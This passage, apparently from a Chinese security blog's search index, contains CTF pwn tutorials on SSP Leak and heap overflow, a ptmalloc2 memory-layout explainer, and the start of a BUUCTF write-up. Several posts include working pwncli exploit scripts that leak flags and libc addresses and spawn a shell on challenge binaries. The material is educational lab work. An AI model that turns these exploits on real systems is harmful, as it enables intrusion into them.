interface{\tString() string}\n\n后言\n参考书籍:Go语言趣学指南参考课程:Go语言编程快速入门(Golang)\n\n","categories":["编程"],"tags":["Go"]},{"title":"SSP Leak","url":"/2024/11/01/pwn/bypass/ssp/","content":"原理简介Stack Smashing Protector (SSP) 是一种防范栈溢出漏洞的机制,最初在1998年由 StackGuard 引入 GCC。后来,RedHat 将其发展为 ProPolice,提供了 -fstack-protector 和 -fstack-protector-all 编译选项。SSP 的核心目标是检测栈上的 canary 值是否被篡改,从而增强程序的安全性。\nSSP Leak 则是利用 SSP 机制进行攻击的一种技术。通过破坏 canary 值,攻击者可以触发程序的异常处理流程,并利用该过程泄露信息。\n在CTF Wiki中将这种利用技术称为 Stack Smash,并将其归类为花式栈溢出的一部分。这表明,SSP Leak 是栈溢出攻击的一种高级形式。\nSSP工作原理\n插入canary\n\n将canary插入栈中,一般通过fs/gx寄存器来获取4字节(32位)或8字节(64位)的值,这就是canary值,然后将其插入到栈上与rbp相邻的位置。\n该值在函数执行前和返回时都会被检查。\n.text:0000000000401205 mov rax, fs:28h.text:000000000040120E mov [rbp+var_8], rax\n\n\n校验canary\n\n程序在结束时会从栈上读取canary的值,然后与保存的值进行比较,如果不相等(即被篡改)就调用__stack_chk_fail函数处理。\n.text:00000000004012CE mov rcx, [rbp+var_8].text:00000000004012D2 xor rcx, fs:28h.text:00000000004012DB jz short locret_4012E2.text:00000000004012DD call ___stack_chk_fail\n\n\n__stack_chk_fail() 函数\n\n__stack_chk_fail函数在canary被篡改后调用,它会输出一串错误信息并终止程序。\n输出错误信息时,会打印 argv[0] 的指针所指向的字符串。通常,这个指针指向程序的名称。如果能够控制 argv[0]的值,就有可能泄露敏感信息。\n\n__stack_chk_fail()函数的源代码\n\n//__attribute__((noreturn))表示该函数不会返回,调用它后程序将终止void __attribute__((noreturn)) __stack_chk_fail(void) {\t//调用函数并传递一个错误消息 __fortify_fail("stack smashing detected");}void __attribute__((noreturn)) internal_function __fortify_fail(const char *msg) { while (1) {\t //输出传入的错误消息,以及argv[0]指向的程序名,如果argv[0]为空,则打印unknown __libc_message(2, "*** %s ***: %s terminated\\n", msg, __libc_argv[0] ? : "<unknown>"); }}\n\nSPP Leak 技术前面我们提到过,可以通过控制argv[0]的值来泄露数据,而SSP Leak就是这样的一种利用技术。通常用于绕过canary保护,在CTF比赛中题型比较固定。\n\n栈溢出\n\n通过栈溢出覆盖缓冲区时,会连带覆盖 canary 值。\n\n触发错误\n\n当程序检测到 canary 被修改时,它会调用 __stack_chk_fail() 函数,导致程序终止并输出错误信息。\n\n泄露信息\n\n我们可以通过栈溢出将 argv[0] 覆盖成为一个指针,然后在错误信息中就可以打印出我们想要的信息。\n\n注:libc-2.25启用了一个新的函数__fortify_fail_abort(),试图对该泄露问题进行修复,函数的第一个参数问问false时,将不再进行栈回溯,而是直接打印出字符串 <unkonwn>,那么也就无法再进行Leak。\n\n例题[HNCTF 2022 WEEK3]smash根据题目名称就可以猜测是要我们通过 smash 的方式利用了\n\n查保护\n\n发现除了PIE保护,其它保护全开。\n➜ smash checksec ./smash Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000)\n\n\n分析\n\n分析程序main函数\n程序利用open打开了一个叫flag的文件,然后将flag的内容读取到了bss段变量buf上。\nint __fastcall main(int argc, const char **argv, const char **envp){ int fd; // [rsp+Ch] [rbp-114h] char v5[264]; // [rsp+10h] [rbp-110h] BYREF unsigned __int64 v6; // [rsp+118h] [rbp-8h] v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stderr, 0LL); setbuf(stdout, 0LL); fd = open("flag", 0); if ( !fd ) { puts("Open Err0r."); exit(-1); } read(fd, &buf, 0x100uLL); puts("Good Luck."); gets(v5); return 0;}\n\n查看buf变量\n.bss:0000000000404060 buf db ? ; ; DATA XREF: main+A0↑o.bss:0000000000404061 db ? ;.bss:0000000000404062 db ? ;.bss:0000000000404063 db ? ;\n\n我们可以通过 SSP Leak将程序读取到buf变量中的内容泄露出来\n接下来寻找argv[0]的地址\ngdb调试查看栈,栈中的1表示程序参数数量,然后就是程序参数的地址(即argv),因为这个程序只有一个参数,所以只有一个地址。\n就是我们要找的argv[0],之后以0为结束符。\n40:0200│ r13 0x7fffffffd340 ◂— 141:0208│ rsi 0x7fffffffd348 —▸ 0x7fffffffd6ac ◂— '/root/smash'42:0210│+0f0 0x7fffffffd350 ◂— 043:0218│ rdx 0x7fffffffd358 —▸ 0x7fffffffd6b8 ◂— 'HOSTTYPE=x86_64'44:0220│+100 0x7fffffffd360 —▸ 0x7fffffffd6c8 ◂— 'LANG=C.utf8'45:0228│+108 0x7fffffffd368 —▸ 0x7fffffffd6d4 ◂— 0x6f722f3d48544150 ('PATH=/ro')\n\n然后我们将程序跑起来,获取程序输入内容的地址。\n输入aaaaaaaa\n我们可以看到我们输入的内容已经在栈中。\n00:0000│ rsp 0x7fffffffccd0 ◂— 0x58c5bb62477101:0008│-118 0x7fffffffccd8 ◂— 0x30000000002:0010│-110 0x7fffffffcce0 ◂— 'aaaaaaaa'03:0018│-108 0x7fffffffcce8 —▸ 0x7fffffffcd00 ◂— 0x6562b02604:0020│-100 0x7fffffffccf0 ◂— 0xffffcdd005:0028│-0f8 0x7fffffffccf8 —▸ 0x7fffffffcd10 ◂— 0xffffffff06:0030│-0f0 0x7fffffffcd00 ◂— 0x6562b02607:0038│-0e8 0x7fffffffcd08 —▸ 0x7ffff7b9c547 ◂— pop rdi /* '__vdso_getcpu' */\n\n根据我们的输入位置和argv[0]的地址来计算偏移。\n0x7fffffffced8-0x7fffffffcce0=0x1f8\n\n偏移为0x1f8,填充偏移大小的垃圾数据,然后在拼接上我们要泄露的变量地址。\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfpayload=cyclic(504)+p64(0x404060)r()s(payload)ia()\n\n\n[2021 鹤城杯]easyecho\n查保护\n\n保护全开\n➜ [2021 鹤城杯]easyecho checksec ./easyecho Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled\n\n\n分析\n\n分析main函数\n__int64 __fastcall main(__int64 a1, char **a2, char **a3){ bool v3; // zf __int64 v4; // rcx char *v5; // rsi const char *v6; // rdi char v8[16]; // [rsp+0h] [rbp-A8h] BYREF int (*v9)(); // [rsp+10h] [rbp-98h] char v10[104]; // [rsp+20h] [rbp-88h] BYREF unsigned __int64 v11; // [rsp+88h] [rbp-20h] v11 = __readfsqword(0x28u); sub_DA0(a1, a2, a3); sub_F40(); v9 = sub_CF0; puts("Hi~ This is a very easy echo server."); puts("Please give me your name~"); _printf_chk(1LL, "Name: "); sub_E40(v8); _printf_chk(1LL, "Welcome %s into the server!\\n", v8); do { while ( 1 ) { _printf_chk(1LL, "Input: "); gets(v10); _printf_chk(1LL, "Output: %s\\n\\n", v10); v4 = 9LL; v5 = v10; v6 = "backdoor"; do { if ( !v4 ) break; v3 = *v5++ == *v6++; --v4; } while ( v3 ); if ( !v3 ) break; (v9)(v6, v5); } } while ( strcmp(v10, "exitexit") ); puts("See you next time~"); return 0LL;}\n\ngdb调试,打个断点到__printf_chk函数,然后让程序运行起来,输入aaaa\n─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────── ► 0x555555400af2 call __printf_chk@plt <__printf_chk@plt> flag: 1 format: 0x55555540108a ◂— 'Welcome %s into the server!\\n' vararg: 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */ 0x555555400af7 nop word ptr [rax + rax] 0x555555400b00 lea rsi, [rip + 0x5a0] RSI => 0x5555554010a7 ◂— outsb dx, byte ptr [rsi] /* 'Input: ' */ 0x555555400b07 mov edi, 1 EDI => 1 0x555555400b0c xor eax, eax EAX => 0 0x555555400b0e call __printf_chk@plt <__printf_chk@plt> 0x555555400b13 mov rdi, rbx 0x555555400b16 xor eax, eax EAX => 0 0x555555400b18 call gets@plt <gets@plt> 0x555555400b1d lea rsi, [rip + 0x58b] RSI => 0x5555554010af ◂— jne 0x555555401126 /* 'Output: %s\\n\\n' */ 0x555555400b24 mov edi, 1 EDI => 1───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────00:0000│ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */01:0008│ 0x7fffffffcef8 ◂— 002:0010│ 0x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx03:0018│ 0x7fffffffcf08 ◂— 004:0020│ rbx 0x7fffffffcf10 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'05:0028│ 0x7fffffffcf18 ◂— 006:0030│ 0x7fffffffcf20 ◂— 107:0038│ 0x7fffffffcf28 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'─────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────── ► 0 0x555555400af2 1 0x7ffff7a59730 __libc_start_main+240\n\n在栈上发现了我们输入的内容,并且后面还有一个地址。\n通过vmmap指令查看一下为哪个段的地址,发现为可执行段的地址。\npwndbg> vmmap 0x555555400cf0LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File► 0x555555400000 0x555555402000 r-xp 2000 0 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho +0xcf0 0x555555601000 0x555555602000 r--p 1000 1000 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho\n\n我们可以通过这个地址减去程序基址获取偏移。\np/x 0x555555400cf0-0x555555400000=cf0 \n\n程序通过格式化字符串%s打印我们输出的内容,我们可以利用输入覆盖掉地址前的0。\n然后让格式化字符串函数输出地址,之后通过偏移计算程序基址。\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfsla(b'Name: ', b'a'*0x10)ru(b'a'*0x10)base = u64(r(6).ljust(8, b'\\x00')) - 0xcf0print("base",hex(base))sla(b'Input: ',b'backdoor\\x00')flag_addr = base + 0x202040payload = b'a'*0x168 + p64(flag_addr)sla(b'Input: ', payload)sla(b'Input: ', b'exitexit')flag=r()print(flag)\n\nwdb2018_guess\n查保护\n\n只没有PIE保护\n➜ wdb2018_guess checksec ./GUESS Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)\n\n\n分析\n\n一般我们进行Stack smash利用时,程序会直接崩溃退出。\n但是在这个程序中的sub_400A11函数fork了三次子进程,所以我们可以执行三次。\n__int64 sub_400A11(){ unsigned int v1; // [rsp+Ch] [rbp-4h] v1 = fork(); if ( v1 == -1 ) err(1, "can not fork"); return v1;}\n\n泄露libc地址获取environ内容,进而计算flag的地址,\n\nenviron是libc中的全局变量,指向栈中的环境变量数组。\n\n然后通过将flag地址覆盖为argv[0]地址获取flag\n\n坑点,libc版本\n\n\nexp\n\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfpayload=b'a'*0x128+p64(elf.got.puts)sla("flag\\n",payload)puts_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))print("puts",hex(puts_addr))libc=LibcSearcher("puts",puts_addr)base=puts_addr-libc.dump("puts")environ=base+libc.dump("__environ")print("environ",hex(environ))payload=b'a'*0x128+p64(environ)sl(payload)environ_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))print("environ",hex(environ_addr))payload=b'a'*0x128+p64(environ_addr-0x168)sl(payload)ia()\n","categories":["pwn"],"tags":["bypass"]},{"title":"堆溢出","url":"/2024/10/28/pwn/heap/heap-overflow/","content":"介绍堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块。\n不难发现,堆溢出漏洞发生的基本前提是\n\n程序向堆上写入数据。\n写入的数据大小没有被良好地控制。\n\n对于攻击者来说,堆溢出漏洞轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程。\n堆溢出是一种特定的缓冲区溢出(还有栈溢出, bss 段溢出等)。但是其与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制 EIP 。一般来说,我们利用堆溢出的策略是\n\n覆盖与其物理相邻的下一个 chunk 的内容。\nprev_size\nsize,主要有三个比特位,以及该堆块真正的大小。\nNON_MAIN_ARENA\nIS_MAPPED\nPREV_INUSE\nthe True chunk size\n\n\nchunk content,从而改变程序固有的执行流。\n\n\n利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流。\n\n基本示例下面我们举一个简单的例子:\n#include <stdio.h> int main(void) { \tchar *chunk; \tchunk=malloc(24); \tputs("Get input:"); \tgets(chunk); \treturn 0; }\n\n这个程序的主要目的是调用 malloc 分配一块堆上的内存,之后向这个堆块中写入一个字符串,如果输入的字符串过长会导致溢出 chunk 的区域并覆盖到其后的 top chunk 之中 (实际上 puts 内部会调用 malloc 分配堆内存,覆盖到的可能并不是 top chunk)。\n0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000`print ' A ' * 100 进行写入0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x4141414141414141 0x4141414141414141 <=== top chunk(已被溢出) 0x602030: 0x4141414141414141 0x4141414141414141 0x602040: 0x4141414141414141 0x4141414141414141\n\n小总结堆溢出中比较重要的几个步骤:\n寻找堆分配函数通常来说堆是通过调用 glibc 函数malloc进行分配的,在某些情况下会使用calloc分配。calloc与malloc的区别是 calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的。\ncalloc(0x20); //等同于 ptr=malloc(0x20); memset(ptr,0,0x20);\n\n除此之外,还有一种分配是经由realloc进行的,realloc函数可以身兼malloc和free两个函数的功能。\n#include <stdio.h> int main(void) { \tchar * chunk,* chunk1; \tchunk=malloc(16); \tchunk1=realloc(chunk,32); \treturn 0; }\n\nrealloc的操作并不是像字面意义上那么简单,其内部会根据不同的情况进行不同操作\n\n当realloc(ptr,size)的size不等于ptr的size时\n如果申请 size > 原来 size\n如果chunk与top chunk相邻,直接扩展这个chunk到新size大小\n如果chunk与top chunk不相邻,相当于free(ptr),malloc(new_size)\n\n\n如果申请 size < 原来 size\n如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变\n如果相差可以容得下一个最小chunk,则切割原chunk为两部分,free掉后一部分\n\n\n\n\n当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)\n当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作\n\n寻找危险函数通过寻找危险函数,我们快速确定程序是否可能有堆溢出,以及有的话,堆溢出的位置在哪里。\n常见的危险函数如下\n\n输入\ngets,直接读取一行,忽略 '\\x00'\nscanf\nvscanf\n\n\n输出\nsprintf\n\n\n字符串\nstrcpy,字符串复制,遇到 '\\x00' 停止\nstrcat,字符串拼接,遇到 '\\x00' 停止\nbcopy\n\n\n\n确定填充长度这一部分主要是计算我们开始写入的地址与我们所要覆盖的地址之间的距离。 一个常见的误区是malloc的参数等于实际分配堆块的大小,但是事实上 ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的 2 倍,比如 32 位系统是 8 个字节,64 位系统是 16 个字节。但是对于不大于 2 倍字长的请求,malloc会直接返回 2 倍字长的块也就是最小 chunk,比如 64 位系统执行malloc(0)会返回用户区域为 16 字节的块。\n#include <stdio.h> int main(void) { \tchar *chunk; \tchunk=malloc(0); \tputs("Get input:"); \tgets(chunk); \treturn 0; }\n\n//根据系统的位数,malloc会分配8或16字节的用户空间 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 0x602030: 0x0000000000000000 0x0000000000000000`\n\n注意用户区域的大小不等于chunk_head.size,chunk_head.size = 用户区域大小 + 2 * 字长\n还有一点是之前所说的用户申请的内存大小会被修改,其有可能会使用与其物理相邻的下一个 chunk 的 prev_size 字段储存内容。回头再来看下之前的示例代码\n#include <stdio.h> int main(void) { \tchar *chunk; \tchunk=malloc(24); \tputs("Get input:"); \tgets(chunk); \treturn 0; }\n\n观察如上代码,我们申请的chunk大小是 24 个字节。但是我们将其编译为 64 位可执行程序时,实际上分配的内存会是 16 个字节而不是 24 个。\n0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1\n\n16 个字节的空间是如何装得下 24 个字节的内容呢?答案是借用了下一个块的 pre_size 域。我们可来看一下用户申请的内存大小与 glibc 中实际分配的内存大小之间的转换。\n/* pad request bytes into a usable size -- internal version */ //MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1 #define request2size(req) \\ \t(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \\ \t\t? MINSIZE \\ \t\t: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)\n\n当 req=24 时,request2size(24)=32。而除去 chunk 头部的 16 个字节。实际上用户可用 chunk 的字节数为 16。而根据我们前面学到的知识可以知道chunk的pre_size仅当它的前一块处于释放状态时才起作用。所以用户这时候其实还可以使用下一个chunk的prev_size字段,正好 24 个字节。实际上 ptmalloc 分配内存是以双字为基本单位,以 64 位系统为例,分配出来的空间是 16 的整数倍,即用户申请的 chunk 都是 16 字节对齐的。\n例题\n[NISACTF 2022]ezheap\n\n\n查保护\n\n发现为32位程序,没有canary保护和PIE保护。\n➜ [NISACTF 2022]ezheap checksec ./pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)\n\n\n分析\n\n分析main函数\n程序定义了两个char型指针,并且申请了两个0x16大小的内存块,由指针分别指向。\n然后调用puts函数输出了一个字符串。\n之后调用了危险函数gets函数向s指针写入内容。\n到了这里我们可以判断这是一个堆溢出漏洞,接下来我们结合动态调试来分析利用思路。\nint __cdecl main(int argc, const char **argv, const char **envp){ char *command; // [esp+8h] [ebp-10h] char *s; // [esp+Ch] [ebp-Ch] setbuf(stdin, 0); setbuf(stdout, 0); s = malloc(0x16u); command = malloc(0x16u); puts("Input:"); gets(s); system(command); return 0;}\n\ngdb动态调试\n\n第一次malloc\n\n在进行第一次malloc的之后,我们查看一下堆\n发现一共有三个chunk,第一个和第三个chunk我们并不需要关系,我们只关心第二个chunk。\n第二个chunk大小为0x20,我们malloc分配的时候分配的大小是0x16,并不满足现在的chunk大小,但是我们还要加上prev_size 和size字段,32位程序下的prev_size字段和size字段都是4字节大小,所以0x16加上两个字段大小正好满足0x20的chunk大小。\npwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x804b008Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSEAddr: 0x804b198Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSEAddr: 0x804b1b8Size: 0x21e48 (with flag bits: 0x21e49)\n\n\n第二次malloc\n\n第二次malloc之后我们发现堆中又多了一共chunk,大小也为0x20,对应着我们程序中的command指针。\npwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x804b008Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSEAddr: 0x804b198Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSEAddr: 0x804b1b8Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSEAddr: 0x804b1d8Size: 0x21e28 (with flag bits: 0x21e29)\n\n利用vis指令查看可视化堆\n0x804b198是s指向的chunk,0x804b1b8是command指向的chunk。\n我们可以看到,s指向的chunk和command指向的chunk在内存中是相邻的。\n所以gets函数无限制的写入数据会导致数据从s指向的chunk中溢出到command指向的chunk。\n我们可以实验一下。\n0x804b198 0x00000000 0x00000021 ....!...0x804b1a0 0x00000000 0x00000000 ........0x804b1a8 0x00000000 0x00000000 ........0x804b1b0 0x00000000 0x00000000 ........0x804b1b8 0x00000000 0x00000021 ....!...0x804b1c0 0x00000000 0x00000000 ........0x804b1c8 0x00000000 0x00000000 ........0x804b1d0 0x00000000 0x00000000 ........0x804b1d8 0x00000000 0x00021e29 ....)... \n\n我们尝试写入0x20长度的a。\n查看堆发现最下面的chunk的size变成了0x61616160,这是因为数据从第一个chunk溢出到了第二个chunk导致修改了第二个chunk的size字段\n我们知道用户通过malloc分配的内存是只使用user_data部分的,所以我们使用gets函数写入的数据是从s指针chunk的uesr_data部分开始写入,而s的user_data部分大小为0x18,即我们写入的数据溢出了8个字节覆盖了下一个chunk的prev_size字段和size字段。\npwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x804b008Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSEAddr: 0x804b198Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSEAddr: 0x804b1b8Size: 0x61616160 (with flag bits: 0x61616161)\n\n知道了堆溢出的原理后我们继续分析程序,程序在进行读取数据之后将command字段作为system函数参数执行。\n前面我们也知道了通过堆溢出我们可以将数据溢出到下一个chunk,即可以从s溢出到command。\n我们可以通过利用堆溢出从第一个堆块溢出到下一个堆块然后写入/bin/sh\\x00字符串,之后由system函数执行获取shell。\n而system函数执行的内容同样也是chunk的user_data字段,所以我们必须得出溢出到user_data的填充大小。\n而前面我们已经知道了是0x20,所以接下来我们可以通过利用思路构造exp。\n\nexp\n\n#!/usr/bin/python3from pwncli import *cli_script()payload=b'a'*0x20+b"/bin/sh\\x00"pause()s(payload)ia()\n\n后言\nctf-wiki\n\n","tags":["heap"]},{"title":"Ptmalloc2内存管理分析 基础知识","url":"/2024/10/26/pwn/ptmalloc2/p1/","content":"x86 平台 Linux 进程内存布局Linux 系统在装载 elf 格式的文件时,会调用 loader 把可执行文件中的各个段依次载入到从某一地址开始的空间中(载入地址取决 link editor(ld)和机器位数,在 32 位机器上是 0x8048000,即 128M 处。前提是没有pie保护)。\n如下图所示,以 32 位机器为例,首先被载入的是.text段,然后是.data 段,最后是.bss段。这可以看作是程序的开始空间。程序所能访问的最后的地址是 0xbfffffff,也就是到 3G 地址处,3G 以上的 1G 空间是内核使用的,应用程序不可以直接访问。应用程序的堆栈从最高地址处开始向下生长,.bss段与堆栈直接的空间是空闲的,空闲空间被分成两部分,一部分为 heap,一部分为 mmap 映射区域,mmap 映射区域一般从 TASK_SIZE/3 的地方开始,但在不同的 Linux 内核和机器上,mmap 区域的开始位置一般是不同的。Heap 和 mmap 区域都可以供用户自由使用,但是它在刚开始的时候并没有映射到内存空间内,是不可访问的。在向内核请求分配该空间之前,对这个空间的访问会导致 segmentation fault 。用户程序可以直接使用系统调用来管理 heap 和 mmap 映射区域,但更多的时候程序都是使用 C 语言提供的 malloc() 和 free() 函数来动态的分配和释放内存。Stack 区域是唯一不需要映射,用户却可以访问的内存区域,这也是利用堆栈溢出进行攻击的基础。\n32位模式下进程内存经典布局\n这种布局是 Linux 内核 2.6.7 以前的默认进程内存布局形式,mmap 区域与栈区域相对增长,这意味着堆只有 1GB 的虚拟空间可以使用,继续增长就会进入 mmap 映射区域,这显然不是我们想要的。这是由于 32 模式地址空间限制造成的,所以内核引入了另一种虚拟地址空间的布局形式,将在后面介绍。但对于 64 位系统,提供了巨大的虚拟地址空间,这种布局就相当好。\n32位模式下进行默认内存布局\n从上图可以看到,栈至顶向下扩展,并且栈是有界的。堆至底向上扩展,mmap 映射区域至顶向下扩展,mmap 映射区域和堆相对扩展,直至耗尽虚拟地址空间中的剩余区域,这种结构便于 C 运行时库使用 mmap 映射区域和堆进行内存分配。上图的布局形式是在内核 2.6.7 以后才引入的,这是 32 位模式下进程的默认内存布局形式。\n64位模式下进程内存布局对于 AMD64 系统,内存布局采用经典内存布局,text的起始地址为 0x00000000 00400000,堆紧接着 BSS 段向上增长,mmap 映射区域开始位置一般设为 TASK_SIZE/3 。\n\n计算一下可知,mmap 的开始区域地址为 0x00002AAAAAAAA000,栈顶地址为 0x00007FFF FFFFF000。\n\n上图是 x86_64 下 Linux 进程的默认内存布局形式,这只是一个示意图,当前内核默认配置下,进程的栈和 mmap 映射区域并不是从一个固定地址开始,并且每次启动时的值都不一样,这是程序在启动时随机改变这些指的设置,使得使用缓冲区溢出进行攻击更加困难。当然也可以让进程的栈和 mmap 映射区域从一个固定位置开始,只需要设置全局变量 randomize_va_space 值为0,默认为1.\n这在 pwn 中被称为 ASLR 保护。可以随机化堆栈、堆、动态链接库的地址。通过设置 /proc/sys/kernel/randomize_va_space 来修改特性\n操作系统内存分配的相关函数上文提到 heap 和 mmap 映射区域是可以提供给用户程序使用的虚拟内存空间,如何获得该区域的内存呢?操作系统提供了相关的系统调用来完成相关工作。对 heap 的操作,操作系统提供了 brk() 函数,C 运行时库提供了 sbrk()函数;对 mmap 映射区域的操作,操作系统提供了 mmap() 和 munmap() 函数。sbrk(),brk() 或者 mmap() 都可以用来向我们的进程添加额外的虚拟内存。Glibc 同样是使用这些函数向操作系统申请虚拟内存。\n\n这里要提到一个很重要的概念,内存的延迟分配,只有在真正访问一个地址的时候才建立这个地址的物理映射,这是 Linux 内存管理的基本思想之一。Linux 内核在用户申请内存的时候,只是给它分配了一个线性区(也就是虚拟内存),并没有分配实际物理内存;只有当用户使用这块内存的时候,内核才会分配具体的物理页面给用户,这时候才占用宝贵的物理内存。内核释放物理页面是通过释放线性区,找到其所对应的物理页面,将其全部释放的过程。\n\nHeap 操作相关函数Heap 操作函数主要有两个,brk() 为系统调用,sbrk() 为库函数。系统调用通常提供一种最小功能,而库函数通常提供比较复杂的功能。Glibc 的 malloc 函数族(realloc,calloc 等)就调用 sbrk() 函数将数据段的下界移动,sbrk() 函数在内核的管理下将虚拟地址空间映射到内存,供 malloc() 函数使用。\n内核数据结构 mm_struct 中的成员变量 start_code 和 end_code 是进程代码段的起始和终止地址,start_data 和 end_data 是进程数据段的起始和终止地址,start_stack 是进程堆栈段起始地址,start_brk 是进程动态内存分配起始地址(堆的起始地址),还有一个 brk (堆的当前最后地址),就是动态内存分配当前的终止地址。C 语言的动态内存分配基本函数是 malloc(),在 Linux 上的实现是通过内核的 brk 系统调用。brk()是一个非常简单的系统调用,知识简单地改变mm_struct 结构的成员变量 brk 的值。\n这两个函数的定义如下:\n#include <unistd.h>int brk(void *addr);void *sbrk(intptr_t increment);\n\n需要说明的是,但 sbrk() 的参数 increment 为0时,sbrk() 返回的是进程的当前 brk 值,increment 为正数时扩展 brk值,当 increment 为负值时收缩 brk 值。\nMmap 映射区域操作相关函数mmap() 函数将一个文件或者其它对象映射进内存。文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不被使用的空间将会清零。munmap 执行相反的操作,删除特定地址区域的对象映射。\n函数的定义如下:\n#include <sys/mman.h>void *mmap(void *addr,size_t length,int prot,int flags,int fd,off_t offset);int munmap(void *addr,size_t length);\n\n在这里不准备对这两个函数做详细介绍,只是对 ptmalloc 中用到的功能做一下介绍,其他的用法请参看相关资料。\n参数:\nstart:映射区的开始地址length:映射区的长度prot:期望的内存保护标志,不能与文件的打开模式冲突。是以下的某个值,可以通过 or 运算合理地组合在一起。Ptmalloc 中主要使用了如下的几个标志:\tPROT_EXEC\t\t页内容可以被执行,ptmalloc 中没有使用\tPROT_READ\t\t页内容可以被读取,ptmalloc 直接用 mmap 分配内存并立即返回给用户时设置该标志\tPROT_WRITE\t\t页内容可以被写入,ptmalloc 直接用 mmap 分配内存并立即返回给用户时设置该标志\tPROT_NONE\t\t页不可访问,ptmalloc 用 mmap 向系统 “批发” 一块内存进行管理时设置该标志flags:指定映射对象的类型,映射选项和映射页是否可以分享。它的值可以是一个或者多个以下位的组合体MAP_FIXED\t使用指定的映射起始地址,如果由 start 和 len 参数指定的内存区重叠于现存的映射区域,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。Ptmalloc 在回收从系统中 “批发” 的内存时设置该标志MAP_PRIVATE\t建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。Ptmalloc 每次调用 mmap 都设置该标志。MAP_NORESERVE\t不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。Ptmalloc 向系统 “批发” 内存块时设置该标志。MAP_ANONYMOUS\t匿名映射,映射区不与任何文件关联。Ptmalloc 每次调用 mmap 都设置该标志。fd:有效的文件描述词。如果 MAP_ANONYMOUS 被设定,为了兼容问题,其值应为-1。offset:被映射对象内容的起点。\n","tags":["glibc"]},{"title":"BUUCTF pwn wp","url":"/2024/11/07/wp/buu/chapter1/","content":"前言\n关于BUUCTF的pwn题第一页的刷题笔记\n\ntest_your_nc#nc\n\nnc连上去\nexpcat flag\n\nrip#ret2text #栈平衡\n分析main函数,一眼栈溢出。\nint __fastcall main(int argc, const char **argv, const char **envp){ char s[15]; // [rsp+1h] [rbp-Fh] BYREF puts("please input"); gets(s, argv); puts(s); puts("ok,bye!!!"); return 0;}\n\n并且程序存在后门函数\nint fun(){ 